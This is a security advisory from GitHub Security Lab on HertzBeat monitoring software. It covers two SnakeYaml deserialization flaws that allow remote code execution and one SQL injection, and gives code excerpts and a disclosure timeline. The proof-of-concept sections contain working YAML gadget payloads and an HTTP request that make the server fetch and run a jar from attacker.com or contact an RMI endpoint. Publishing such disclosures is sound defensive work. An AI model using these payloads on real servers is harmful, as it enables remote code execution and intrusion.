Coordinated Disclosure Timeline
- 2023-12-05: Reported to maintainers.
- 2024-02-22: Advisory published for colliding issue with GHSL-2023-254.
- 2024-03-06: Improved block list and use of secure version of SnakeYaml fixed GHSL-2023-255.
- 2024-08-05: GHSL-2023-256 (SQL Injection remains unfixed), publishing as per our Disclosure Policy.
Summary
HertzBeat is an open-source, real-time monitoring system with custom monitoring, high performance cluster and agentless capabilities, vulnerable to unsafe deserialization and SQL injection.
Project
HertzBeat
Tested Version
Details
Issue 1: Authenticated (guest role) RCE via unsafe deserialization in /api/apps/define/yml (GHSL-2023-254)
Hertzbeat declares a POST and PUT /define/yml endpoint to add new monitor definitions. In the process, it uses SnakeYaml ‘s loadAs to deserialize the provided configuration, allowing for instantiating arbitrary constructors.
This endpoint is only accessible to authenticated users with the admin, user or guest roles.
@PostMapping(path = "/define/yml")
public ResponseEntity<Message<Void>> newAppDefineYml(@Valid @RequestBody MonitorDefineDto defineDto) {
try {
for (String riskyToken : RISKY_STR_ARR) {
if (defineDto.getDefine().contains(riskyToken)) {
return ResponseEntity.ok(Message.fail(FAIL_CODE, "can not has malicious remote script"));
}
}
appService.applyMonitorDefineYml(defineDto.getDefine(), false);
} catch (Exception e) {
return ResponseEntity.ok(Message.fail(FAIL_CODE, e.getMessage()));
}
return ResponseEntity.ok(Message.success());
}
The user-controlled data is checked against RISKY_STR_ARR which contains the following strings that only cover the ScriptEngineManager gadget:
private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader"};
Then, the applyMonitorDefineYml method is called, defined as follows:
public void applyMonitorDefineYml(String ymlContent, boolean isModify) {
var yaml = new Yaml();
Job app;
try {
app = yaml.loadAs(ymlContent, Job.class);
} catch (Exception e) {
log.error(e.getMessage());
throw new IllegalArgumentException("parse yml error: " + e.getMessage());
}
...
}
Where the user-controlled data is deserialized using SnakeYaml’s loadAs. Even though that it enforces that the provided type (Job.class) matches the type of the yaml data of the request, this check is only done for the overall object, so providing a subtype like the following would be accepted as valid and deserialized:
!!org.dromara.hertzbeat.common.entity.job.Job:
app: !!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "rmi://attacker.com:1389/Exploit"
autoCommit: true
Proof of Concept
In order to exploit this deserialization vulnerability, we can trigger a JNDI resolution against a remote LDAP server using the BeanFactory gadget described by Michael Stepankin in the blog post Exploiting JNDI Injections in Java.
The success of the
BeanFactorygadget depends on the Tomcat version used to deploy Hertzbeat as per the replacement offorceStringwith a String setter lookup.
- HTTP request:
POST /api/apps/define/yml HTTP/1.1
Host: 127.0.0.1:1157
Authorization: Bearer <<AUTH>>
Content-Type: application/json
Content-Length: 175
{
"define": "!!org.dromara.hertzbeat.common.entity.job.Job:\n app: !!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"rmi://127.0.0.1:1097\"\n autoCommit: true"
}
Impact
This issue may lead to Remote Code Execution.
Resources
Issue 2: Authenticated (user role) RCE via unsafe deserialization in /api/monitors/import (GHSL-2023-255)
Hertzbeat declares a /import endpoint to import monitor configurations. In the process, it uses SnakeYaml to deserialize the provided configuration.
@PostMapping("/import")
public ResponseEntity<Message<Void>> export(MultipartFile file) throws Exception {
monitorService.importConfig(file);
return ResponseEntity.ok(Message.success("Import success"));
}
The importConfig method is defined as follows:
@Override
public void importConfig(MultipartFile file) throws Exception {
var fileName = file.getOriginalFilename();
if (!StringUtils.hasText(fileName)) {
return;
}
var type = "";
...
if (fileName.toLowerCase().endsWith(YamlImExportServiceImpl.FILE_SUFFIX)) {
type = YamlImExportServiceImpl.TYPE;
}
...
var imExportService = imExportServiceMap.get(type);
imExportService.importConfig(file.getInputStream());
}
For .yaml files, the YamlImExportServiceImpl is used to deserialize the configuration:
public void importConfig(InputStream is) {
var formList = parseImport(is)
...
}
The parseImport method is defined as follows:
List<ExportMonitorDTO> parseImport(InputStream is) {
Yaml yaml = new Yaml();
return yaml.load(is);
}
This endpoint is only accessible to authenticated users with the admin or user role as per the following sureness configuration:
/api/monitors/**===post===[admin,user]
Proof of Concept
In order to exploit this deserialization vulnerability, we can instantiate a javax.script.ScriptEngineManager object with a URLClassLoader argument, which will trigger the following constructor. The provided URL points to an attacker-controller server hosting a malicious jar which will execute a command.
- HTTP request:
POST /api/monitors/import HTTP/1.1
Host: 127.0.0.1:1157
Authorization: <<AUTH>>
Content-Type: multipart/form-data; boundary=----foo
Content-Length: 238
------foo
Content-Disposition: form-data; name="file"; filename="foo.yaml"
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://attacker.com/yaml-payload.jar"]]]]
------foo--
Using artsploit/yaml-payload project, we can build the payload, which, when served, can be fetched by the deserialization of the yaml payload.
Impact
This issue may lead to Remote Code Execution.
Resources
- CodeQL for Java - Deserialization of user-controlled data
- Java Unmarshaller Security
Issue 3: Authenticated (guest role) SQL injection in
/api/monitor/{monitorId}/metric/{metricFull}(GHSL-2023-256)
Hertzbeat declares a /api/monitor/{monitorId}/metric/{metricFull} endpoint to download job metrics. In the process, it executes a SQL query with user-controlled data, allowing for SQL injection.
@GetMapping("/api/monitor/{monitorId}/metric/{metricFull}")
public ResponseEntity<Message<MetricsHistoryData>> getMetricHistoryData(
@PathVariable Long monitorId,
@PathVariable() String metricFull,
@RequestParam(required = false) String instance,
...
) {
String[] names = metricFull.split("\\.");
if (names.length != METRIC_FULL_LENGTH) {
throw new IllegalArgumentException("metrics full name: " + metricFull + " is illegal.");
}
String app = names[0];
String metrics = names[1];
String metric = names[2];
if (history == null) {
history = "6h";
}
Map<String, List<Value>> instanceValuesMap;
if (interval == null || !interval) {
instanceValuesMap = historyDataStorage.getHistoryMetricData(monitorId, app, metrics, metric, instance, history);
} else {
instanceValuesMap = historyDataStorage.getHistoryIntervalMetricData(monitorId, app, metrics, metric, instance, history);
}
...
}
The metricFull and instance parameters are passed to the getHistoryMetricData method. When using TDEngine, as suggested in the docs, HistoryTdEngineDataStorage::getHistoryMetricData is defined as follows:
public Map<String, List<Value>> getHistoryMetricData(Long monitorId, String app, String metrics, String metric, String instance, String history) {
String table = app + "_" + metrics + "_" + monitorId;
String selectSql = instance == null ? String.format(QUERY_HISTORY_SQL, metric, table, history) :
String.format(QUERY_HISTORY_WITH_INSTANCE_SQL, metric, table, instance, history);
log.debug(selectSql);
Connection connection = null;
Map<String, List<Value>> instanceValuesMap = new HashMap<>(8);
try {
if (!serverAvailable) {
log.error("\n\t---------------TdEngine Init Failed---------------\n" +
"\t--------------Please Config Tdengine--------------\n" +
"\t----------Can Not Use Metric History Now----------\n");
return instanceValuesMap;
}
connection = hikariDataSource.getConnection();
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(selectSql);
...
}
The QUERY_HISTORY_SQL and QUERY_HISTORY_WITH_INSTANCE_SQL are defined as follows:
private static final String QUERY_HISTORY_WITH_INSTANCE_SQL
= "SELECT ts, instance, `%s` FROM `%s` WHERE instance = '%s' AND ts >= now - %s order by ts desc";
private static final String QUERY_HISTORY_SQL
= "SELECT ts, instance, `%s` FROM `%s` WHERE ts >= now - %s order by ts desc";
So, the instance parameter is passed to the SQL query without any sanitization.
The HistoryTdEngineDataStorage::getHistoryIntervalMetricData method is also affected by this issue.
This endpoint is only accessible to authenticated users with the admin, user or guest role.
Impact
This issue may lead to Information Disclosure.
Resources
- CodeQL for Java - Query built from user-controlled sources
- OWASP - SQL Injection
- OWASP - SQL Injection Prevention Cheat Sheet
CVE
- CVE-2023-51389
Credit
These issues were discovered and reported by GHSL team member @jorgectf (Jorge).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-254, GHSL-2023-255, or GHSL-2023-256 in any communication regarding these issues.